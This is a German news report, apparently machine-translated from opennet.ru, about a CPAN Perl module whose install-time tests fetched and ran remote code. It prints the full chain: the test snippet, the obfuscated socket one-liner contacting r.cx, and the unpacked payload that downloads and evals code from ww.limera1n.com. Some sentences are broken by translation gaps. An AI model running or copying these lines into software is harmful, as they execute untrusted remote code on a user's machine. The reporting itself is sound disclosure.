Im über das CPAN-Katalog verbreiteten Perl-Paket , das für die automatische On-the-fly-Ladung von CPAN-Modulen vorgesehen ist, schadhafter Code. Die schädliche Einfügung wurde im Testcode , der seit 2011 mitgeliefert wird.
Bemerkenswert ist, dass bereits 2016 Fragen zur Ladung von fragwürdigem Code aufgetreten sind. ещё в 2016 году.
Die bösartige Aktivität beschränkt sich darauf, zu versuchen, Code von einem externen Server (http://r.cx:1/) im Prozess der Durchführung einer Testreihe, die bei der Installation des Moduls gestartet wird, zu laden und auszuführen. Es wird vermutet, dass der ursprünglich von dem externen Server geladene Code nicht bösartig war, aber jetzt wird die Anfrage an die Domain ww.limera1n.com umgeleitet, die ihren eigenen Code zum Ausführen bereitstellt.
Um das Laden zu organisieren, wird im Datei folgender Code verwendet:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Der angegebene Code führt das Skript , dessen Inhalt sich auf die Zeile reduziert:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
Dieses Skript lädt unter Verwendung des Dienstes Code von dem externen Host r.cx (die Zeichencodes 82.46.99.88 entsprechen dem Text «R.cX») und führt es im eval-Block aus.
$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88:1'; print ;
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Nach dem Entpacken wird folgendes ausgeführt :
print{$b=new IO::Socket::INET»ww.limera1n.com:80»}»GET /iJailBreak
«;evalor return warn$@while$b;1
Der problematische Paket wurde derzeit aus dem Repository entfernt (Perl Authors Upload Server), und das Konto des Modulautors wurde gesperrt. Das Modul bleibt jedoch im MetaCPAN-Archiv und kann direkt von MetaCPAN mit einigen Tools wie cpanminus installiert werden. , dass das Paket nicht weit verbreitet war.
Interessanterweise ging es um die Diskussion und der Autor des Moduls, der die Information widerlegte, dass schädlicher Code nach einem Angriff auf seine Seite «r.cx» eingefügt wurde, und erklärte, dass er sich nur amüsierte, während perlobfuscator.com nicht dazu verwendet wurde, etwas zu verbergen, sondern um die Größe des Codes zu verringern und dessen Kopieren über die Zwischenablage zu erleichtern. Die Wahl des Funktionsnamens «botstrap» wurde damit erklärt, dass dieses Wort «wie bot klingt und kürzer ist als bootstrap». Der Autor des Moduls versicherte auch, dass die festgestellten Manipulationen keine schädlichen Aktionen ausführen, sondern lediglich das Laden und die Ausführung von Code über TCP demonstrieren.
Quelle: opennet.ru
